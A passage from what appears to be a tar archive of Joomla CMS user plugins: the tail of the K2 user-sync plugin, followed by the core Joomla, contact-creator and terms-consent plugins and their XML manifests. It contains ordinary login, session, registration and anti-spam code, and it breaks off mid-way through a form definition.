                } else {
                    $row->set('userID', $id);
                    $row->set('userName', $user['fullname']);
                    $row->set('group', $params->get('K2UserGroup', 1));
                }
                $row->ip = $_SERVER['REMOTE_ADDR'];
                $row->hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
                $row->store();
            }

            // Set the Cookie domain for user based on K2 parameters
            if ($params->get('cookieDomain') && $id) {
                setcookie("userID", $id, 0, '/', $params->get('cookieDomain'), 0);
            }
        }
        return true;
    }

    public function onLogoutUser($user)
    {
        $params = JComponentHelper::getParams('com_k2');
        $app = JFactory::getApplication();
        if ($app->isSite() && $params->get('cookieDomain')) {
            setcookie("userID", "", time() - 3600, '/', $params->get('cookieDomain'), 0);
        }
        return true;
    }

    public function onAfterDeleteUser($user, $succes, $msg)
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $query = "DELETE FROM #__k2_users WHERE userID={$user['id']}";
        $db->setQuery($query);
        $db->query();
    }

    public function onBeforeStoreUser($user, $isNew)
    {
        $app = JFactory::getApplication();
        $params = JComponentHelper::getParams('com_k2');
        $session = JFactory::getSession();
        if ($params->get('K2UserProfile') && $isNew && $params->get('recaptchaOnRegistration') && $app->isSite() && !$session->get('socialConnectData')) {
            require_once JPATH_SITE.'/components/com_k2/helpers/utilities.php';
            if (!K2HelperUtilities::verifyRecaptcha()) {
                if (K2_JVERSION != '15') {
                    $url = 'index.php?option=com_users&view=registration';
                } else {
                    $url = 'index.php?option=com_user&view=register';
                }
                $app->enqueueMessage(JText::_('K2_COULD_NOT_VERIFY_THAT_YOU_ARE_NOT_A_ROBOT'), 'error');
                $app->redirect($url);
            }
        }
    }

    public function getK2UserID($id)
    {
        $db = JFactory::getDbo();
        $query = "SELECT id FROM #__k2_users WHERE userID={$id}";
        $db->setQuery($query);
        $result = $db->loadResult();
        return $result;
    }

    public function checkSpammer(&$user)
    {
        if (!$user['block']) {
            $ip = $_SERVER['REMOTE_ADDR'];
            $email = urlencode($user['email']);
            $username = urlencode($user['username']);
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, 'http://www.stopforumspam.com/api?ip='.$ip.'&email='.$email.'&username='.$username.'&f=json');
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            if ($httpCode == 200) {
                $response = json_decode($response);
                if ($response->ip->appears || $response->email->appears || $response->username->appears) {
                    $db = JFactory::getDbo();
                    $db->setQuery("UPDATE #__users SET block = 1 WHERE id = ".$user['id']);
                    $db->query();
                    $user['notes'] = JText::_('K2_POSSIBLE_SPAMMER_DETECTED_BY_STOPFORUMSPAM');
                }
            }
        }
    }
}
                                                                                                                                                                                                                                                                                                      user/k2/k2.xml                                                                                      0000705                 00000001272 15242051521 0007071 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="user" method="upgrade">
    <name>User - K2</name>
    <author>JoomlaWorks</author>
    <creationDate>(see K2 component)</creationDate>
    <copyright>Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>https://www.joomlaworks.net</authorUrl>
    <version>(see K2 component)</version>
    <license>https://gnu.org/licenses/gpl.html</license>
    <description>K2_A_USER_SYNCHRONIZATION_PLUGIN_FOR_K2</description>
    <files>
        <filename plugin="k2">k2.php</filename>
    </files>
</extension>
                                                                                                                                                                                                                                                                                                                                      user/joomla/index.html                                                                              0000705                 00000000037 15242051521 0010773 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 user/joomla/joomla.xml                                                                              0000705                 00000003417 15242051521 0011006 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>December 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_USER_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_user_joomla.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="autoregister"
					type="radio"
					label="PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL"
					description="PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="mail_to_user"
					type="radio"
					label="PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL"
					description="PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="forceLogout"
					type="radio"
					label="PLG_USER_JOOMLA_FIELD_FORCELOGOUT_LABEL"
					description="PLG_USER_JOOMLA_FIELD_FORCELOGOUT_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                 user/joomla/joomla.php                                                                              0000705                 00000024417 15242051521 0011000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.joomla
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserHelper;
use Joomla\Registry\Registry;

/**
 * Joomla User plugin
 *
 * @since  1.5
 */
class PlgUserJoomla extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.2
	 */
	protected $db;

	/**
	 * Set as required the passwords fields when mail to user is set to No
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.2
	 */
	public function onContentPrepareForm($form, $data)
	{
		// Check we are manipulating a valid user form before modifying it.
		$name = $form->getName();

		if ($name === 'com_users.user')
		{
			// In case there is a validation error (like duplicated user), $data is an empty array on save.
			// After returning from error, $data is an array but populated
			if (!$data)
			{
				$data = JFactory::getApplication()->input->get('jform', array(), 'array');
			}

			if (is_array($data))
			{
				$data = (object) $data;
			}

			// Passwords fields are required when mail to user is set to No
			if (empty($data->id) && !$this->params->get('mail_to_user', 1))
			{
				$form->setFieldAttribute('password', 'required', 'true');
				$form->setFieldAttribute('password2', 'required', 'true');
			}
		}

		return true;
	}

	/**
	 * Remove all sessions for the user name
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->delete($this->db->quoteName('#__session'))
			->where($this->db->quoteName('userid') . ' = ' . (int) $user['id']);

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->delete($this->db->quoteName('#__messages'))
			->where($this->db->quoteName('user_id_from') . ' = ' . (int) $user['id']);

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * This method sends a registration email to new users created in the backend.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$mail_to_user = $this->params->get('mail_to_user', 1);

		if (!$isnew || !$mail_to_user)
		{
			return;
		}

		// TODO: Suck in the frontend registration emails here as well. Job for a rainy day.
		// The method check here ensures that if running as a CLI Application we don't get any errors
		if (method_exists($this->app, 'isClient') && !$this->app->isClient('administrator'))
		{
			return;
		}

		// Check if we have a sensible from email address, if not bail out as mail would not be sent anyway
		if (strpos($this->app->get('mailfrom'), '@') === false)
		{
			$this->app->enqueueMessage(Text::_('JERROR_SENDING_EMAIL'), 'warning');

			return;
		}

		$lang = Factory::getLanguage();
		$defaultLocale = $lang->getTag();

		/**
		 * Look for user language. Priority:
		 * 	1. User frontend language
		 * 	2. User backend language
		 */
		$userParams = new Registry($user['params']);
		$userLocale = $userParams->get('language', $userParams->get('admin_language', $defaultLocale));

		if ($userLocale !== $defaultLocale)
		{
			$lang->setLanguage($userLocale);
		}

		$lang->load('plg_user_joomla', JPATH_ADMINISTRATOR);

		// Compute the mail subject.
		$emailSubject = Text::sprintf(
			'PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT',
			$user['name'],
			$this->app->get('sitename')
		);

		// Compute the mail body.
		$emailBody = Text::sprintf(
			'PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY',
			$user['name'],
			$this->app->get('sitename'),
			Uri::root(),
			$user['username'],
			$user['password_clear']
		);

		$res = Factory::getMailer()->sendMail(
			$this->app->get('mailfrom'),
			$this->app->get('fromname'),
			$user['email'],
			$emailSubject,
			$emailBody
		);

		if ($res === false)
		{
			$this->app->enqueueMessage(Text::_('JERROR_SENDING_EMAIL'), 'warning');
		}

		// Set application language back to default if we changed it
		if ($userLocale !== $defaultLocale)
		{
			$lang->setLanguage($defaultLocale);
		}
	}

	/**
	 * This method should handle any login logic and report back to the subject
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember, autoregister, group)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function onUserLogin($user, $options = array())
	{
		$instance = $this->_getUser($user, $options);

		// If _getUser returned an error, then pass it back.
		if ($instance instanceof Exception)
		{
			return false;
		}

		// If the user is blocked, redirect with an error
		if ($instance->block == 1)
		{
			$this->app->enqueueMessage(Text::_('JERROR_NOLOGIN_BLOCKED'), 'warning');

			return false;
		}

		// Authorise the user based on the group information
		if (!isset($options['group']))
		{
			$options['group'] = 'USERS';
		}

		// Check the user can login.
		$result = $instance->authorise($options['action']);

		if (!$result)
		{
			$this->app->enqueueMessage(Text::_('JERROR_LOGIN_DENIED'), 'warning');

			return false;
		}

		// Mark the user as logged in
		$instance->guest = 0;

		$session = Factory::getSession();

		// Grab the current session ID
		$oldSessionId = $session->getId();

		// Fork the session
		$session->fork();

		$session->set('user', $instance);

		// Ensure the new session's metadata is written to the database
		$this->app->checkSession();

		// Purge the old session
		$query = $this->db->getQuery(true)
			->delete('#__session')
			->where($this->db->quoteName('session_id') . ' = ' . $this->db->quoteBinary($oldSessionId));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// The old session is already invalidated, don't let this block logging in
		}

		// Hit the user last visit field
		$instance->setLastVisit();

		// Add "user state" cookie used for reverse caching proxies like Varnish, Nginx etc.
		if ($this->app->isClient('site'))
		{
			$this->app->input->cookie->set(
				'joomla_user_state',
				'logged_in',
				0,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}

		return true;
	}

	/**
	 * This method should handle any logout logic and report back to the subject
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (client, ...).
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function onUserLogout($user, $options = array())
	{
		$my      = Factory::getUser();
		$session = Factory::getSession();

		// Make sure we're a valid user first
		if ($user['id'] == 0 && !$my->get('tmp_user'))
		{
			return true;
		}

		$sharedSessions = $this->app->get('shared_session', '0');

		// Check to see if we're deleting the current session
		if ($my->id == $user['id'] && ($sharedSessions || (!$sharedSessions && $options['clientid'] == $this->app->getClientId())))
		{
			// Hit the user last visit field
			$my->setLastVisit();

			// Destroy the php session for this user
			$session->destroy();
		}

		// Enable / Disable Forcing logout all users with same userid
		$forceLogout = $this->params->get('forceLogout', 1);

		if ($forceLogout)
		{
			$clientId = (!$sharedSessions) ? (int) $options['clientid'] : null;

			UserHelper::destroyUserSessions($user['id'], false, $clientId);
		}

		// Delete "user state" cookie used for reverse caching proxies like Varnish, Nginx etc.
		if ($this->app->isClient('site'))
		{
			$this->app->input->cookie->set('joomla_user_state', '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
		}

		return true;
	}

	/**
	 * This method will return a user object
	 *
	 * If options['autoregister'] is true, if the user doesn't exist yet they will be created
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  User
	 *
	 * @since   1.5
	 */
	protected function _getUser($user, $options = array())
	{
		$instance = User::getInstance();
		$id = (int) UserHelper::getUserId($user['username']);

		if ($id)
		{
			$instance->load($id);

			return $instance;
		}

		// TODO : move this out of the plugin
		$params = ComponentHelper::getParams('com_users');

		// Read the default user group option from com_users
		$defaultUserGroup = $params->get('new_usertype', $params->get('guest_usergroup', 1));

		$instance->id = 0;
		$instance->name = $user['fullname'];
		$instance->username = $user['username'];
		$instance->password_clear = $user['password_clear'];

		// Result should contain an email (check).
		$instance->email = $user['email'];
		$instance->groups = array($defaultUserGroup);

		// If autoregister is set let's register the user
		$autoregister = isset($options['autoregister']) ? $options['autoregister'] : $this->params->get('autoregister', 1);

		if ($autoregister)
		{
			if (!$instance->save())
			{
				JLog::add('Error in autoregistration for user ' . $user['username'] . '.', JLog::WARNING, 'error');
			}
		}
		else
		{
			// No existing user and autoregister off, this is a temporary user.
			$instance->set('tmp_user', true);
		}

		return $instance;
	}
}
                                                                                                                                                                                                                                                 user/contactcreator/contactcreator.php                                                              0000705                 00000010207 15242051521 0014254 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.contactcreator
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;
use Joomla\String\StringHelper;

/**
 * Class for Contact Creator
 *
 * A tool to automatically create and synchronise contacts with a user
 *
 * @since  1.6
 */
class PlgUserContactCreator extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * This method creates a contact for the saved user
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		// If the user wasn't stored we don't resync
		if (!$success)
		{
			return false;
		}

		// If the user isn't new we don't sync
		if (!$isnew)
		{
			return false;
		}

		// Ensure the user id is really an int
		$user_id = (int) $user['id'];

		// If the user id appears invalid then bail out just in case
		if (empty($user_id))
		{
			return false;
		}

		$categoryId = $this->params->get('category', 0);

		if (empty($categoryId))
		{
			JError::raiseWarning('', Text::_('PLG_CONTACTCREATOR_ERR_NO_CATEGORY'));

			return false;
		}

		if ($contact = $this->getContactTable())
		{
			/**
			 * Try to pre-load a contact for this user. Apparently only possible if other plugin creates it
			 * Note: $user_id is cleaned above
			 */
			if (!$contact->load(array('user_id' => (int) $user_id)))
			{
				$contact->published = $this->params->get('autopublish', 0);
			}

			$contact->name     = $user['name'];
			$contact->user_id  = $user_id;
			$contact->email_to = $user['email'];
			$contact->catid    = $categoryId;
			$contact->access   = (int) Factory::getConfig()->get('access');
			$contact->language = '*';
			$contact->generateAlias();

			// Check if the contact already exists to generate new name & alias if required
			if ($contact->id == 0)
			{
				list($name, $alias) = $this->generateAliasAndName($contact->alias, $contact->name, $categoryId);

				$contact->name  = $name;
				$contact->alias = $alias;
			}

			$autowebpage = $this->params->get('autowebpage', '');

			if (!empty($autowebpage))
			{
				// Search terms
				$search_array = array('[name]', '[username]', '[userid]', '[email]');

				// Replacement terms, urlencoded
				$replace_array = array_map('urlencode', array($user['name'], $user['username'], $user['id'], $user['email']));

				// Now replace it in together
				$contact->webpage = str_replace($search_array, $replace_array, $autowebpage);
			}

			if ($contact->check() && $contact->store())
			{
				return true;
			}
		}

		JError::raiseWarning('', Text::_('PLG_CONTACTCREATOR_ERR_FAILED_CREATING_CONTACT'));

		return false;
	}

	/**
	 * Method to change the name & alias if alias is already in use
	 *
	 * @param   string   $alias       The alias.
	 * @param   string   $name        The name.
	 * @param   integer  $categoryId  Category identifier
	 *
	 * @return  array  Contains the modified title and alias.
	 *
	 * @since   3.2.3
	 */
	protected function generateAliasAndName($alias, $name, $categoryId)
	{
		$table = $this->getContactTable();

		while ($table->load(array('alias' => $alias, 'catid' => $categoryId)))
		{
			if ($name === $table->name)
			{
				$name = StringHelper::increment($name);
			}

			$alias = StringHelper::increment($alias, 'dash');
		}

		return array($name, $alias);
	}

	/**
	 * Get an instance of the contact table
	 *
	 * @return  ContactTableContact
	 *
	 * @since   3.2.3
	 */
	protected function getContactTable()
	{
		Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_contact/tables');

		return Table::getInstance('contact', 'ContactTable');
	}
}
                                                                                                                                                                                                                                                                                                                                                                                         user/contactcreator/contactcreator.xml                                                              0000705                 00000003153 15242051521 0014267 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_contactcreator</name>
	<author>Joomla! Project</author>
	<creationDate>August 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTACTCREATOR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contactcreator">contactcreator.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_contactcreator.ini</language>
		<language tag="en-GB">en-GB.plg_user_contactcreator.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="autowebpage"
					type="text"
					label="PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL"
					description="PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC"
					size="40"
				/>

				<field
					name="category"
					type="category"
					label="JCATEGORY"
					description="PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC"
					extension="com_contact"
					filter="integer"
				/>

				<field
					name="autopublish"
					type="radio"
					label="PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL"
					description="PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                     user/contactcreator/index.html                                                                      0000705                 00000000037 15242051521 0012525 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 user/terms/terms.php                                                                                0000705                 00000011047 15242051521 0010515 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.terms
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Utilities\ArrayHelper;

/**
 * An example custom terms and conditions plugin.
 *
 * @since  3.9.0
 */
class PlgUserTerms extends CMSPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An array that holds the plugin configuration
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		FormHelper::addFieldPath(__DIR__ . '/field');
	}

	/**
	 * Adds additional fields to the user registration form
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm($form, $data)
	{
		if (!($form instanceof JForm))
		{
			$this->_subject->setError('JERROR_NOT_A_FORM');

			return false;
		}

		// Check we are manipulating a valid form - we only display this on user registration form.
		$name = $form->getName();

		if (!in_array($name, array('com_users.registration')))
		{
			return true;
		}

		// Add the terms and conditions fields to the form.
		Form::addFormPath(__DIR__ . '/terms');
		$form->loadFile('terms');

		$termsarticle = $this->params->get('terms_article');
		$termsnote    = $this->params->get('terms_note');

		// Push the terms and conditions article ID into the terms field.
		$form->setFieldAttribute('terms', 'article', $termsarticle, 'terms');
		$form->setFieldAttribute('terms', 'note', $termsnote, 'terms');
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isNew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException on missing required data.
	 */
	public function onUserBeforeSave($user, $isNew, $data)
	{
		// // Only check for front-end user registration
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		// User already registered, no need to check it further
		if ($userId > 0)
		{
			return true;
		}

		// Check that the terms is checked if required ie only in registration from frontend.
		$option = $this->app->input->getCmd('option');
		$task   = $this->app->input->get->getCmd('task');
		$form   = $this->app->input->post->get('jform', array(), 'array');

		if ($option == 'com_users' && in_array($task, array('registration.register')) && empty($form['terms']['terms']))
		{
			throw new InvalidArgumentException(Text::_('PLG_USER_TERMS_FIELD_ERROR'));
		}

		return true;
	}

	/**
	 * Saves user profile data
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($data, $isNew, $result, $error)
	{
		if (!$isNew || !$result)
		{
			return true;
		}

		JLoader::register('ActionlogsModelActionlog', JPATH_ADMINISTRATOR . '/components/com_actionlogs/models/actionlog.php');
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		$message = array(
			'action'      => 'consent',
			'id'          => $userId,
			'title'       => $data['name'],
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $userId,
			'userid'      => $userId,
			'username'    => $data['username'],
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
		);

		/* @var ActionlogsModelActionlog $model */
		$model = BaseDatabaseModel::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'PLG_USER_TERMS_LOGGING_CONSENT_TO_TERMS', 'plg_user_terms', $userId);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         user/terms/terms.xml                                                                                0000705                 00000002747 15242051521 0010535 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_terms</name>
	<author>Joomla! Project</author>
	<creationDate>June 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_USER_TERMS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="terms">terms.php</filename>
		<folder>terms</folder>
		<folder>field</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_terms.ini</language>
		<language tag="en-GB">en-GB.plg_user_terms.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field 
					name="terms_note" 
					type="textarea" 
					label="PLG_USER_TERMS_NOTE_FIELD_LABEL"
					description="PLG_USER_TERMS_NOTE_FIELD_DESC"
					hint="PLG_USER_TERMS_NOTE_FIELD_DEFAULT"
					class="span12"
					rows="7" 
					cols="20" 
					filter="html"
				/>	
				<field
					name="terms_article"
					type="modal_article"
					label="PLG_USER_TERMS_FIELD_ARTICLE_LABEL"
					description="PLG_USER_TERMS_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                         user/terms/field/terms.php                                                                          0000705                 00000006324 15242051521 0011602 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.terms
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;

FormHelper::loadFieldClass('radio');

/**
 * Provides input for privacyterms
 *
 * @since  3.9.0
 */
class JFormFieldterms extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'terms';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string   The field input markup.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		// Display the message before the field
		echo $this->getRenderer('plugins.user.terms.message')->render($this->getLayoutData());

		return parent::getInput();
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.0
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		return $this->getRenderer('plugins.user.terms.label')->render($this->getLayoutData());
	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.4
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$article = false;
		$termsArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($termsArticle && Factory::getApplication()->isClient('site'))
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(array('id', 'alias', 'catid', 'language')))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = ' . (int) $termsArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			if (Associations::isEnabled())
			{
				$termsAssociated = Associations::getAssociations('com_content', '#__content', 'com_content.item', $termsArticle);
			}

			$currentLang = Factory::getLanguage()->getTag();

			if (isset($termsAssociated) && $currentLang !== $article->language && array_key_exists($currentLang, $termsAssociated))
			{
				$article->link = ContentHelperRoute::getArticleRoute(
					$termsAssociated[$currentLang]->id,
					$termsAssociated[$currentLang]->catid,
					$termsAssociated[$currentLang]->language
				);
			}
			else
			{
				$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
				$article->link = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
			}
		}

		$extraData = array(
			'termsnote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_USER_TERMS_NOTE_FIELD_DEFAULT'),
			'options' => $this->getOptions(),
			'value'   => (string) $this->value,
			'translateLabel' => $this->translateLabel,
			'translateDescription' => $this->translateDescription,
			'translateHint' => $this->translateHint,
			'termsArticle' => $termsArticle,
			'article' => $article,
		);

		return array_merge($data, $extraData);
	}
}
                                                                                                                                                                                                                                                                                                            user/terms/terms/terms.xml                                                                          0000705                 00000000755 15242051521 0011664 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="terms">
		<fieldset
			name="terms"
			label="PLG_USER_TERMS_LABEL"
		>
			<field
				name="terms"
				type="terms"
